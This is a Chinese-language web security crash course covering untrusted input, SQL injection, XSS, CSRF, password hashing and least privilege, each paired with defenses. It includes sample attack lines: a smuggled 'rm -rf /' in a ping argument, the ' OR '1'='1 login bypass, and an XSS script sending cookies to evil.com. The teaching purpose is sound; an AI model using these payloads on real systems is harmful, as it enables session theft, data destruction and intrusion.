fedorthinks

速成课 · No. 22

几乎每一个 Web 漏洞都可以追溯到同一个错误:信任来自外部的数据。攻击者控制着请求、表单、URL、上传的文件——全都是。Web 安全这门功夫,就是把每一丝外部输入都当作有敌意的,直到被证明安全,并学会那几种经典攻击——任何忘记这条规则的人都会被它们惩罚。

21 个概念 · 每个都配图示 · 结尾有速查表

§ 01

在讲任何具体攻击之前,有一条原则就能防住其中的大多数。吃透这一个想法,这门课的其余部分不过是它在不同地方的应用。

地图:六组共 21 个概念

一张地铁线路图:先看整条线路,再一站一站地坐过去。

这门课分成六组。第一,唯一的规则:永远不要信任输入。然后是三种经典攻击:Injection(输入在服务器上变成代码)、XSS(输入在浏览器里变成脚本)和 CSRF(浏览器被骗以你的名义发出请求)。接着是如何存储机密和密码。最后是当有东西真的漏进来时,如何限制损失,外加实践。

The one ruleUntrusted inputTrust boundaryValidate / escapeInjectionInjectionSQL injectionParameterized queryIn the browser: XSSXSSOutput escapingCSPForged requestsCSRFConfused deputyCSRF tokenSameSite cookieSecretsNo plain textHashing vs encryptionSalt + slow hashContain + practiceLeast privilegeDefense in depthQuiet errorsPatchingOWASP Top 10
六组概念——各章依次展开(最后一组涵盖第 6 章和第 7 章)。

如何阅读每个概念

一本护照:每个人的栏目都一样,所以很容易比较。

下面每个概念都按同一种方式讲:它的英文名称(你在文档里要搜索的术语)、一幅来自现实生活的画面、一张图示和一张卡片。攻击类卡片的栏目是是什么、如何运作、例子、防御、关联。防御与原则类卡片的栏目是问题、思路、例子、代价、关联。有一条主规则,你会在每张卡片里看到它:输入是数据,绝不是代码。

Untrusted Input——所有外部输入都由攻击者控制

边境检查站把每一个到达的包裹都当作潜在危险品,检查之前不放行——不会因为东西看起来普通就放它们过去。

任何从外部进入你系统的东西——表单字段、URL、请求头、上传的文件、API 调用——都由发送它的人控制,而那个人可能是攻击者。他们可以发送任何东西,而不只是你的表单预期的内容。这个概念叫 untrusted input(不可信输入),规则是:在你验证之前,把所有外部输入都当作有敌意的。 这门课里几乎每个漏洞,说到底都是某个地方有人信任了不该信任的输入。

Attackersends anythingForm fieldsURL + queryHeaders + cookiesUploaded filesAPI callsYour servertreat as hostileanything can arrive — not just what your form intended
攻击者控制着每一个入口:表单、URL、请求头、文件、API。
ConceptUntrusted Input· 外部输入
问题
代码悄悄假定自己收到的恰好就是表单预期的内容。
思路
在你检查之前,所有外部输入都是有敌意的。
例子
"姓名"字段收到的不是姓名,而是 SQL、一个 <script> 标签,或一个一兆字节长的字符串。
代价
你需要在每一个入口都做检查,而不是只在"某个地方"。
关联

在哪里检查——Trust Boundary;怎么检查——Input Validation 和 Output Escaping。

Trust Boundary——检查要放在哪里

围住一栋建筑的墙,只有一道有人把守的门——里面可信,外面不可信,所有往里进的东西都在这条线上接受检查。

Trust boundary(信任边界)是外部世界与你的系统之间的那条线。向内跨过它的数据必须在这条边界上检查,因为一旦进了里面,你的代码往往就会把它当作安全的。经典的错误是只在客户端(浏览器)做验证,并以为这就够了——但攻击者完全绕过浏览器。真正的安全检查发生在服务器上,在你真正能控制的那条边界上。

OUTSIDE · untrustedINSIDE · trustedBrowserclient-side checkscurl / scriptskips the browserServer checksvalidate hereApp + datatrust boundary — the line you actually control
浏览器里的检查用一个脚本就能轻松绕过。真正的检查在服务器上,在 trust boundary 处。
ConceptTrust Boundary· 外部与内部
问题
唯一的检查在浏览器里,而攻击者直接发送请求,绕过了它。
思路
画出"外部 / 内部"这条线,并在服务器上检查跨过它的一切。
例子
JS 表单不接受负数金额,但用 curl 发送 amount=-500 照样能到达服务器。
代价
为了方便,你仍然想做客户端检查——这是重复劳动。
关联
Input Validation 就在这里进行;客户端检查是为了方便,不是保护。

Input Validation 与 Output Escaping——验证输入,转义输出

保安在门口查证件(谁进来),翻译确保你的话在下一个房间里不会被误读成命令(东西怎么出去)。是两份不同的活。

两个习惯就能挡住大多数攻击。Input validation:拒绝形状不符合预期的数据——类型不对、太长、格式错误。Output escaping:当你把数据放进另一个环境——数据库查询、HTML 页面、shell 命令——就把任何可能在那里被当作代码读取的东西无害化。下面几乎每一种攻击,都是不可信输入溜进了某个会被当作指令而不是数据来解释的地方。

IN: what gets inOUT: how it leavesInputValidate inputtype · length · formatAppEscape outputper contextrejectwrong shapeSQL queryHTML pageShell cmd
进入时——验证(形状不对 → 拒绝)。出去时——针对每种环境转义:SQL、HTML、shell。
PracticeInput Validation· 在边界处验证
问题
任何形状、任何长度的数据都走进了系统。
思路
描述你预期的内容(类型、长度、格式),并在边界处拒绝其他一切。
例子
age 是 0 到 150 的整数;email 符合格式且最长 254 个字符。
代价
验证并不能让输入在所有地方都安全——出去时你仍然需要 Output Escaping。
关联
在 Trust Boundary 处起作用;与 Output Escaping 搭配(第 3 章)。

每一丝外部输入都由攻击者控制。在服务器的边界处验证它,并在每个使用处转义它。这一条规则就能防住大多数攻击。

§ 02

危害最大的一类攻击,也是最容易理解的一类:不可信输入被当作代码。教科书式的例子是 SQL injection,它展示了整个模式。

Injection——输入变成代码

一张请你填姓名的表格,有人在上面写下了一条指令——办事员把整行大声念出来,不小心就执行了那条指令。

当不可信输入被混进一条命令或查询并作为其中一部分被执行时,就发生了 injection。系统本想把你的输入当作数据,但输入被精心构造成了会被读作代码。这是 SQL、shell 命令等场景共有的同一个根本缺陷:"指令"与"用户数据"之间的边界从未被强制执行,于是攻击者提供了指令。

Your instructionthe code you meant to runUser inputcrafted to look like codegluedinto one stringInterpreterSQL · shell · …data crossed into code — the line between them was never enforced
你的指令和输入被粘成了一个字符串——解释器再也看不出代码在哪里结束、数据从哪里开始。
AttackInjection· 代码注入
是什么
不可信输入作为命令或查询的一部分被执行。
如何运作
代码把输入拼进一个字符串,解释器(SQL、shell……)把整串都执行了。
例子
os.system("ping " + host),而 host 传来的是 8.8.8.8; rm -rf /。
防御
把输入与代码分开传递——用参数,绝不用拼接。
关联
一个具体情形是 SQL Injection;在浏览器里的同一思路是 XSS。

SQL Injection——经典案例

一张图书馆申请单,有人在书名栏里写道"……顺便把所有的门都打开"——自动化系统老老实实地两件事都做了。

在 SQL injection 中,攻击者在一个普通字段里输入数据库语法。如果你的代码通过把输入拼进字符串来构造查询,他们的输入就成了查询的一部分——让他们能读取其他用户的数据、绕过登录或删除数据表。几十年来,它一直是最常见、最严重的 Web 漏洞之一,而它完全来自用不可信输入做字符串拼接来构造查询。

code glues input into a stringquery = "SELECT * FROM users WHERE name = '" + input + "'"attacker types into the name field' OR '1'='1the database receivesSELECT * FROM users WHERE name = '' OR '1'='1''1'='1' is always true → every user's row comes back
输入 ' OR '1'='1 把条件变成了“永远为真”——数据库返回了每个用户的行。
AttackSQL Injection· SQLi
是什么
对数据库查询的 injection。
如何运作

查询被构造成 "... WHERE name = '" + input + "'",输入改变了它的含义。

例子
在登录表单里输入 ' OR '1'='1——条件永远为真,密码检查被绕过。
防御
Parameterized Query——每一次都用,没有例外。
关联
Injection 中最著名的一种;在 OWASP Top 10 中归入 Injection。

Parameterized Query——解决办法

一张带有上锁、贴了标签的格子的表格:不管你在"姓名"格里写什么,它都只会被当作姓名,绝不会成为表格指令的一部分。

解药是 parameterized query(参数化查询,也叫 prepared statement)。你用占位符写好查询,再把用户输入单独传进去。数据库先解析查询的结构,之后才把数据填进空位——所以输入永远是数据,绝不会变成 SQL。输入可以是你能想象到的最恶毒的字符串,它也改变不了查询的结构。永远不要通过把输入拼进字符串来构造查询——每一次都用参数,SQL injection 就根本不可能发生。

SELECT … WHERE name = $11 · the query shape (code)params: ["' OR '1'='1"]2 · the input, sent separately (data)Databasefills the $1 slotthe input can never change the query's shape — it is only ever data
查询和数据分开传送:输入只会落进空位 $1,改变不了查询的形状。
PracticeParameterized Query· prepared statement
问题
字符串拼接让输入成了 SQL 的一部分。
思路
先给出带占位符的查询形状,然后再单独给数据。
例子
db.query("SELECT * FROM users WHERE name = $1", [input])
代价
几乎没有。要注意:表名和列名不能作为参数——要从白名单里取。
关联
能根治 SQL Injection;ORM 和查询构建器会替你做——只要你不绕开它们。

Injection 就是不可信输入被当作代码执行。SQL injection 是经典案例,而参数化查询——输入作为数据传递,绝不拼接——就是解药。

§ 03

如果说 injection 是输入在服务器上变成代码,那么跨站脚本就是输入在浏览器里变成代码。它把你自己的页面变成了对付你用户的武器。

XSS——输入在浏览器里变成脚本

一块社区公告栏,有人钉上了一张做过手脚的字条,任何读到它的人口袋都会被悄悄掏空——危险是由那块受信任的公告栏自己送出去的。

跨站脚本(XSS)指攻击者让他们的 JavaScript 在另一个用户的浏览器里、在你的网站上运行。如果你拿到用户输入——一条评论、一个名字、一份个人资料——就直接放进页面,攻击者就可以提交一个 <script> 而不是文本,它会对每个查看该页面的人运行。他们的代码现在以你用户的会话身份行事:窃取 cookie、冒充他们、篡改页面。

Attackerwrites a commentyoursite.comstores, then shows itVictim's browserrenders the pageposts <script>serves pageattacker.comreceives cookierunsscript
攻击者留下一条带脚本的评论,你的网站把它展示给别人,他们浏览器里的脚本把 cookie 发给攻击者。
AttackXSS· Cross-Site Scripting
是什么
别人的 JavaScript 在你用户的浏览器里、在你的网站上运行。
如何运作
输入没有转义,就作为 HTML 放到了页面上。
例子

评论 <script>fetch('//evil.com?c='+document.cookie)</script> 窃取了每位读者的会话。

防御
Output Escaping + Content Security Policy。
关联
与 Injection 是同一个思路,只不过代码在浏览器里运行。

为什么 XSS 如此危险——它带着你网站的信任运行

一个穿着可信制服的冒名者:人们服从是因为信任制服——你网站的域名——而不是穿制服的那个人。

恶意脚本以你的网站身份运行,带着用户对你域名的全部信任。它能读取用户看到的内容、以用户身份行事,并把用户的数据发给攻击者。浏览器没有办法知道这段脚本不是你的——它来自你的页面。这就是为什么"这只是个评论框"是名言般的最后遗言:用户输入能到达页面的任何一处,都可能是 XSS 漏洞。

yoursite.com — one origin, one level of trustyour app.jsinjected scriptsamepowersSession cookiePage contentAPI calls as the userthe browser can't tell which script is really yours
在同一个网站内,你的脚本和被注入的脚本拥有相同的权力:cookie、页面内容、以用户身份调用 API。

Output Escaping 与 Content Security Policy——防御 XSS

一位翻译把每位来宾的话都以纯文本显示在屏幕上——所以即使有人喊出一条命令,它也只是显示成无害的引用文字,不是任何人会去执行的命令。

核心的修复是 output escaping:当你把用户数据放进 HTML 时,把 < 和 > 这样的字符转换成无害的显示文本,让它们作为内容呈现,绝不作为标记执行。现代框架默认就会这么做,所以你应该让它们做。再叠加一层 Content Security Policy(CSP)——一条限制哪些脚本可以运行的浏览器规则——作为第二道防线。把到达页面的一切都当作不可信的,并在输出时将其无害化。

Output escaping<script>steal()</script>escape&lt;script&gt;steal()…shown as text, never runContent Security PolicyContent-Security-Policy: script-src 'self'app.js from your site ✓inline or evil.com ✗
左:转义把标签变成纯文本。右:CSP 只允许来自你自己网站的脚本。
PracticeOutput Escaping· output encoding
问题
页面上的输入被浏览器当作标记和代码来读取。
思路
在输出前,按所处环境的规则,把危险字符变成安全文本。
例子
<script> 变成 &lt;script&gt;,只是显示在屏幕上。
代价

你必须按环境分别转义(HTML、属性、URL、JS);绕过框架的"原始 HTML"会破坏保护。

关联
防御 XSS 的主要手段;"验证输入,转义输出"的后半句。
ToolContent Security Policy· CSP
问题
某个地方忘了转义——于是一段外来的脚本运行了。
思路
网站通过一个响应头告诉浏览器哪些脚本是允许的。
例子

Content-Security-Policy: script-src 'self'——阻止内联脚本和其他域名的脚本。

代价
需要调整和测试:严格的策略可能会弄坏第三方小组件。
关联
对付 XSS 的第二道防线——Defense in Depth 的一个例子。

XSS 就是不可信输入作为脚本,带着你网站的信任,在你用户的浏览器里运行。转义一切到达页面的内容,并加上 Content Security Policy。

§ 04

下一种攻击不注入任何东西——它利用的是浏览器自己的习惯:给每个请求都附上你的凭据,骗它违背你的意图、以你的名义行事。

CSRF——你的浏览器被骗去行动

有人在表格上伪造你的签名,再用你的地址寄出——银行看到一张有效的、由你签署的请求就处理了,根本不知道那不是你写的。

跨站请求伪造(CSRF)利用的事实是:浏览器会自动把你的 cookie——包括你已登录的会话——附加到发往某个网站的任何请求上。攻击者在他们自己的恶意页面里放一个发往你银行的隐藏请求;当你登录着银行的时候访问它,你的浏览器就会发送这个请求,并附上你的会话,银行就以为那是你的本意。你被迫行动,却从未做过选择。

Your browserevil.combank.com1 · you log insession cookie set2 · you visit evil.com3 · hidden auto-form4 · POST /transfer+ your cookie, auto5 · executes transfer
你登录了银行,然后打开了 evil.com——它的隐藏表单向银行发送一笔转账,浏览器自己附上了你的 cookie。
AttackCSRF· Cross-Site Request Forgery
是什么
另一个网站让你的浏览器带着你的会话发出一个请求。
如何运作
无论请求从哪里发起,浏览器都会把 cookie 附加到发往某个网站的请求上。
例子

在 evil.com 上,一个带有 POST bank.com/transfer?to=attacker 的隐藏表单会自动提交。

防御
CSRF Token + SameSite Cookie。
关联
Confused Deputy 的一个具体情形。

Confused Deputy——被蒙蔽的代理人问题

一位拿着钥匙的可信助手,被一张伪造的字条骗得打开了金库——助手本来就有权限,却被骗去为别人使用它。

CSRF 是一种 confused deputy(被蒙蔽的代理人)攻击:你的浏览器握有真正的权限(你的会话),却被骗去为攻击者行使它。服务器分辨不出区别,因为这个请求看起来和一个真实的请求一模一样——同样的 cookie,同样的用户。缺陷不在于凭据被盗,而在于一个有效请求是由你以外的人触发的,而且没有任何东西证明你的意图。

Attackerno authorityBrowserthe deputy · has sessionbank.comsees a valid cookietricksactsreal authority, someone else's intent — nothing proved you meant it
攻击者没有任何权限——他们骗的是有权限的那一方(浏览器),而银行看到的是一个有效的 cookie。
ConceptConfused Deputy· 权限被滥用
是什么
一个拥有权限的程序,被骗去按别人的请求使用它。
如何运作
服务器只检查"是谁"(cookie),不检查"他们是不是本意如此"。
例子
你的浏览器带着你的会话,提交了一个由 evil.com 埋下的表单。
防御
要求提供意图的证明,而不只是权限的存在。
关联
CSRF 是最著名的例子;用 CSRF Token 和 SameSite 来解决。

CSRF Token 与 SameSite Cookie——证明意图

一家银行要求每笔转账都带上一个一次性验证码,这个码只印在你自己的对账单上——从别处伪造的请求拿不到它,所以被拒绝。

修复办法是要求证明这个请求是你的页面发出的。CSRF token 是你的网站嵌入自己表单里、并在提交时检查的一个秘密值;攻击者的页面不可能知道它,所以伪造的请求会失败。现代的补充手段是 SameSite cookie 属性,它告诉浏览器不要在来自其他网站的请求上发送你的会话 cookie。两者结合,就能确保一个敏感操作来自你的网站,出于你的意图。

Your page's formtoken a8f3 + cookieevil.com's formno token · cookie not sentServer checktoken matches?✓ allowed✗ 403CSRF token: a secret only your own page knowsSameSite cookie: the browser won't attach it to cross-site requests
来自你页面的表单带着 token,通过;来自 evil.com 的表单不知道它,浏览器也不会附上 cookie——403。
PracticeCSRF Token· anti-CSRF token
问题
服务器分不清你的表单和伪造的表单。
思路
你网站的每个表单里都放一个秘密;只有秘密匹配,服务器才接受请求。
例子
一个隐藏字段 <input name="csrf" value="a8f3…">,与会话核对。
代价
每一个会修改数据的表单和请求都要加上它。
关联
防御 CSRF;框架通常会替你做。与 SameSite Cookie 搭配。
PracticeSameSite Cookie· cookie 属性
问题
浏览器会把 cookie 附加到来自任何网站的请求上。
思路
给会话 cookie 做标记,让浏览器不在跨站请求上发送它。
例子
Set-Cookie: session=…; SameSite=Lax; Secure; HttpOnly
代价
是补充,而不是 token 的替代品:它取决于浏览器和设置。
关联
与 CSRF Token 一起堵死 CSRF——又是 Defense in Depth。

CSRF 骗你的浏览器带着你的会话发出一个请求。用 CSRF token 和 SameSite cookie 来证明意图,让伪造的跨站请求被拒绝。

§ 05

有些数据极其敏感,以至于你怎么存储它本身就是一个安全决策。密码是经典例子,它还揭示了人们总是混淆的两个词之间的区别。

Plaintext Passwords——绝不要以纯文本存储密码

把所有人的家门钥匙清单放在前台一个没上锁的抽屉里——一次入侵,家家户户门户大开。这份方便就是灾难。

如果你把密码存成可读的文本(plaintext),那么任何拿到你数据库的人——通过入侵、泄露、内部人员——立刻就拿到了每个用户的密码。而且因为人们会重复使用密码,你连他们的其他账号也一并拖下了水。以纯文本存储密码,是 Web 安全中最严重也最基本的错误之一。这种数据太危险,不能以你能读懂的形式保存。

users tableanna hunter2bob qwerty123carol sunshine1Breachleak · insiderAll passwordsreadable at onceOther accountspeople reuse passwords
纯文本密码:一次泄露,所有密码都可读——连同人们重复使用它们的其他账号。

Hashing vs Encryption——hashing 是单向的,encryption 是双向的

碎纸机对比上锁的盒子:盒子可以重新打开、拿回原件,而碎纸机把纸变成再也拼不回去的纸屑——但同一张纸每次碎出来都一样。

这是必须弄清的区别。Encryption(加密)是可逆的:有了密钥,你就能把打乱的数据还原成原文。把它用在你必须再次读取的数据上,比如存起来的 API 密钥。Hashing(哈希)是单向的:它把输入变成一个定长的指纹,这个指纹无法反推回输入,但相同的输入总是产生相同的指纹。它们解决的是不同的问题,把二者混淆是个经典错误。

ENCRYPTION — two-way: you can read it backAPI keyencrypt+ keyciphertextdecrypt+ keyAPI keyHASHING — one-way: you can only comparepasswordhashfingerprinta91f…e2no way back to password
加密:有密钥就能拿回原文。哈希:只能比较指纹——没有回头路。
ConceptHashing vs Encryption· 单向 vs 双向
加密
双向:有密钥就能读回来。
哈希
单向:指纹无法反推,只能比较。
例子

合作伙伴的 API 密钥——加密它(请求里要用到它)。密码——哈希它(你只需要校验它)。

陷阱
"加密的密码"是个错误:密钥一被偷,每个密码都能被读出来。
关联
对密码来说——用 Salt 加慢速算法做哈希。

Salt 与慢哈希——正确地存储密码

检查一枚蜡封:你不需要原信就能验证它——只要重新盖一次章,比对印痕。你无需存储秘密本身,就能确认匹配。

你对密码做 hash,是因为你其实从来不需要把密码取回来——你只需要校验它。存储哈希;登录时,对用户输入的内容做哈希再比较。一次泄露泄露的是指纹,不是密码。再加一个 salt——每个密码独有的随机值——让相同的密码得到不同的哈希,预先计算好的攻击表就会失效。并且使用专为密码设计的慢速哈希(如 bcrypt 或 Argon2),绝不用快速的通用哈希,这样猜测的成本就很高。

hunter2annahunter2bob++salt x9Q2randomsalt Lm7vrandombcrypt / Argon2slow on purposehash …k1Xahash …z8Pqsame password, different hashes → precomputed tables fail
Anna 和 Bob 的密码相同但 salt 不同——所以哈希也不同。慢速的 bcrypt/Argon2 让猜测代价高昂。
PracticeSalted Password Hashing· salt + bcrypt / Argon2
问题
快速且不加盐的哈希:相同的密码一眼就能看出,猜测和预先计算的表都管用。
思路
每个密码一个独有的 salt + 一个刻意放慢的密码算法。
例子

注册时:hash = argon2(password, salt)。登录时:用同一个 salt 对输入做哈希再比较。

代价
登录会稍慢一点——这正是目的:对攻击者来说慢得多。
关联
Hashing 的一种应用;像 Defense in Depth 一样限制泄露造成的损失。

绝不要以纯文本存储密码。加密对你必须读回的数据是可逆的;哈希对你只需校验的数据是单向的——对密码做哈希,要加盐,并用慢速算法。

§ 06

在具体攻击之外,还有一些原则,用来限制有东西漏进来时的损失——因为在安全领域,你要假定迟早会有东西漏进来。

Least Privilege——只给完成工作所需的最小访问权限

一张酒店房卡,只能打开你的房间和健身房——而不是楼里的每一扇门。就算丢了,损失也被限制在它能打开的范围内。

Least privilege(最小权限)意味着每个用户、服务和凭据只获得完成其工作所需的最小访问权限——不多给。你的 Web 应用使用的数据库账号,如果只读写数据行,就不该能删除数据表。这样,当某个部分被攻破时——并且要假定它会被攻破——blast radius(爆炸半径)就很小,受限于那一个部分被允许做的事。过宽的权限会把一次小的入侵变成全面失守。

Web appassume breacheddb user: appminimum grantsSELECT · INSERT · UPDATE ✓DROP TABLE ✗other databases ✗admin / superuser ✗blast radius = only what this one account was allowed to do
应用的账号只能读写数据行——即使应用被攻破,也没人能删除数据表或触及其他数据库。
PrincipleLeast Privilege· 最小权限原则
问题
一个被攻破的部分获得了对一切的访问权。
思路
只给每个部分它的工作所需的最小权限。
例子

应用的数据库用户:对自己的表只有 SELECT, INSERT, UPDATE,没有 DROP,不是超级用户。

代价
权限需要思考和维护;"直接给管理员权限"永远更省事。
关联
Defense in Depth 的一层;在 OWASP 里对应 Broken Access Control。

Defense in Depth——层层设防,而不是一堵墙

一座有护城河、城墙、城门和守卫的城堡——没有哪一道屏障被指望做到完美,所以每一道都拦住上一道漏过的东西。

Defense in depth(纵深防御)意味着叠加相互独立的保护,让一次失败不至于致命。验证输入,并且使用参数化查询,并且以最小权限运行,并且转义输出。任何单一控制都可能失效或被绕过;合在一起,就让彻底攻破需要同时打败它们全部。安全不是一堵完美的墙——而是相互重叠的普通控制,每一个都假定其他的可能会失效。

independent layers — each assumes the others may failAttackValidateinputParamsqueriesEscapeoutputLeastprivilegeDataa full breach has to beat every layer at once
攻击必须依次穿过每一层:验证、参数、转义、最小权限。
PrincipleDefense in Depth· 分层安全
问题
单独一道防御总有一天会失效——到那时一切都敞开了。
思路
多个相互独立的层,每一层拦住另一层漏过的东西。
例子
某个模板里忘了转义——但 CSP 阻止了脚本运行。
代价
更多的设置和检查;有些工作是故意"重复"的。
关联

把 Input Validation、Parameterized Query、Output Escaping、CSP、Least Privilege 串在一起。

Information Leakage——别在错误信息里泄露线索

一扇上了锁的门,被摇动时还热心地宣布"钥匙不对——正确的那把是黄铜的,有点弯"——正好告诉入侵者该怎么进来。

冗长的错误信息和说得太多的响应等于给攻击者递了一张地图。这叫 information leakage(信息泄露)。一个提示"密码错误"(而不是"没有这个用户")的登录,会确认哪些账号存在;一份堆栈跟踪会暴露你的框架、版本和查询结构。给用户显示通用的提示,把细节私下记入日志,并且绝不返回超出客户端所需的数据。安静地失败不只是整洁:它让攻击者拿不到使下一步变容易的侦察信息。

✗ hands out a maplogin: no such userlogin: wrong password500: SQL error at db.py:42confirms accounts, shows your stack✓ says nothing usefulinvalid email or passwordsomething went wrong (7f2c)details → private logsuser sees little, you see everything
左边,响应暴露了哪些账号存在以及里面有什么。右边——给用户的是通用提示,细节写进私有日志。
WeaknessInformation Leakage· information disclosure
是什么
错误信息和响应告诉攻击者系统是如何构建的。
例子

"没有这个用户"与"密码错误"的区别;带有 db.py:42 和数据库版本的堆栈跟踪。

防御
通用的提示("邮箱或密码无效"),细节写进日志,响应里只放需要的字段。
陷阱
调试模式在生产环境里被不小心开着。
关联

属于 OWASP Top 10——Security Misconfiguration;Defense in Depth 的又一层。

假定总会有东西漏进来。最小权限限定损失,纵深防御让任何单一失败都不致命,而安静的错误信息让攻击者拿不到地图。

§ 07

安全是贯穿你构建方式的一种实践,而不是最后才拧上去的一个功能。需要养成的习惯不多,而且大多数都是那唯一的规则被一丝不苟地执行。

Secure Defaults 与 Patching——依靠框架并保持更新

你不会自己锻造锁——你会装上久经考验的锁,并在公布漏洞时更换它。自己造锁,只会得到一把更差的锁。

大多数经典攻击已经被成熟的框架和库解决了:它们替你转义输出、参数化查询、处理 CSRF token——前提是你按预期使用它们,而不是绕开它们。这些就是 secure defaults(安全默认值)。又因为依赖库里不断有漏洞被发现,所以要保持它们更新(patching);没打补丁的库是最常见的入侵途径之一。不要自己发明加密,也不要自己发明转义——使用经过审查的工具,并保持更新。

PracticeSecure Defaults + Patching· 框架防护与更新
问题
自制的加密和转义存在漏洞;老旧的库带有已知漏洞。
思路
按预期使用框架内置的保护,并定期更新依赖。
例子
模板引擎自己转义;ORM 做参数化;像 Dependabot 这样的机器人提议更新。
代价
更新需要测试;绕开框架("原始" HTML/SQL)会破坏保护。
关联

"免费"给你 Output Escaping、Parameterized Query、CSRF Token。

OWASP Top 10——最常见漏洞的地图

飞行前检查清单之所以存在,是因为同样的少数几个故障造成了大多数坠机——你每次都检查它们,而不是在空中重新发现它们。

你不必去想象每一种威胁。OWASP Top 10 是业界列出的最常见、最严重的 Web 漏洞清单——injection、broken access control 等等——它同时也是一份检查清单。拿你的应用对照它走一遍,你就能抓住造成绝大多数真实入侵的那些类别。使用一张已知的地图,胜过指望自己什么都想到了。

this courseOWASP Top 10 categorySQL injection · XSSInjectionLeast privilege · CSRFBroken Access ControlPassword hashingCryptographic FailuresQuiet errorsSecurity MisconfigurationPatchingOutdated componentsa short list of what breaks most often — walk your app against it
这门课里几乎所有内容都能对应到 OWASP Top 10 的类别。
ToolOWASP Top 10· 最常见的 Web 漏洞
是什么
业界对最常见、最危险的几类 Web 漏洞的排名。
如何使用
当作检查清单:拿每个类别对照你自己的应用走一遍。
例子
Injection 类别——检查每个查询都已参数化、输出都已转义。
陷阱
它是最低要求,不是安全的全面保证。
关联
把整门课串起来,从 Injection 到 Least Privilege。

一切如何相连

一座房子靠一把锁、一个警报器和一个保险箱同时保护——而不是靠"唯一正确的措施"。

中心是一条规则——永远不要信任输入,在 trust boundary 处检查。从它长出三道防御,对付三种攻击:对付 Injection 用参数化查询,对付 XSS 用转义和 CSP,对付 CSRF 用 token 和 SameSite。而当有东西真的漏进来时:加盐哈希(泄露不会交出密码)、least privilege(一个被攻破的部分不会交出一切)和 defense in depth(一层失效不致命)。在这一切之上——OWASP Top 10 作为检查清单。

InjectionXSSCSRFParameterized queryEscaping + CSPToken + SameSiteNever trust inputvalidate at the trust boundaryHashing + saltif data leaksLeast privilegeif a part fallsDefense in depthif a layer failsOWASP Top 10 — the checklist over all of it
中心是一条规则,三道防御对付三种攻击,三条原则应对有东西漏进来的情况,而 OWASP Top 10 是整体的检查清单。
发布一个 Web 功能之前
  • 外部输入从哪里进入,是否已在服务器的边界处验证?
  • 查询——是否参数化,从不通过拼接输入来构造?
  • 输出到页面——是否已转义,让用户输入无法作为脚本运行?
  • 会修改状态的操作——是否用 token 和 SameSite 防护了 CSRF?
  • 敏感数据——密码是否加盐哈希,机密是否从不以纯文本存放?
  • Least privilege——每个部分是否只拥有它所需的访问权限?
你在安全地构建的迹象
  • 你把所有外部输入都当作有敌意的,在服务器的边界处检查。
  • 查询是参数化的,页面输出是转义的——默认通过框架完成。
  • 会修改状态的请求带有 CSRF token,cookie 是 SameSite 的。
  • 密码经过哈希并加盐;没有任何敏感数据以纯文本存储。
  • 每个部分都以最小权限运行,依赖保持已打补丁,并且你对照 OWASP Top 10 做检查。

速查表:全部 21 个概念

唯一的规则

Untrusted Input外部输入

一切来自外部的东西都由攻击者控制。检查之前都是有敌意的。

Trust Boundary外部与内部

"外部 / 内部"这条线。检查就放在它上面,在服务器上,而不是在浏览器里。

Input Validation在边界处验证

拒绝任何形状不对的东西:类型、长度、格式。

Injection

Injection代码注入

输入被拼进命令并作为代码执行。

SQL InjectionSQLi

对数据库查询的 injection:' OR '1'='1,数据库就把一切都交了出来。

Parameterized Queryprepared statement

查询和数据分开传送——输入永远是数据。

XSS

XSSCross-Site Scripting

一段外来的脚本在用户的浏览器里,带着你网站的信任。

Output Escapingoutput encoding

< → &lt;:输入作为文本显示,绝不执行。

Content Security PolicyCSP

一个响应头,说明浏览器可以运行哪些脚本。第二道防线。

CSRF

CSRFCross-Site Request Forgery

另一个网站通过你的浏览器、带着你的 cookie 发出请求。

Confused Deputy权限被滥用

握有权限的一方被骗去为别人使用它。

CSRF Tokenanti-CSRF token

你表单里的一个秘密:伪造的请求不知道它。

SameSite Cookiecookie 属性

浏览器不会把 cookie 附加到跨站请求上。

密码与机密

Plaintext Passwords反模式

一次泄露——所有密码,外加人们重复使用它们的其他账号。

Hashing vs Encryption单向 vs 双向

哈希是单向的,只能比较。加密可以用密钥读回来。

Salted Password Hashingsalt + bcrypt / Argon2

每个密码一个 salt + 一个慢速算法:猜测代价高昂。

控制损失与实践

Least Privilege最小访问权限

最小权限——爆炸半径很小。

Defense in Depth分层安全

多个相互独立的层;没有任何单一失败是致命的。

Information Leakageinformation disclosure

给用户通用的提示,细节写进私有日志。

Secure Defaults + Patching框架与更新

按预期使用框架的保护,并保持依赖更新。

OWASP Top 10漏洞地图

业界列出的最常见漏洞清单——把它当作检查清单来用。

Web 安全主要就是一条规则被一丝不苟地执行:永远不要信任输入。在边界处验证,在输出时转义,安全地存储机密,并层层设防,以备有东西漏过。

速成课结束 · 7 章 · 21 个概念

接下来是实践:拿你做过的东西里的一个表单,把它的输入一路追踪到底——它在服务器上验证了吗?进入任何查询时参数化了吗?在页面上显示回来时转义了吗?然后试试攻击者的视角:如果字段里含有 <script> 标签、SQL 语法或一个引号,会发生什么?一旦你亲眼看到自己的输入到达了一个可能被误读为代码的地方,这些道理就变得具体了。但要把一个想法放在所有想法之上:永远不要信任输入。几乎每一个 Web 漏洞,都是这条规则在某一处被忘记了——而几乎每一种防御,都是这条规则被认真地执行。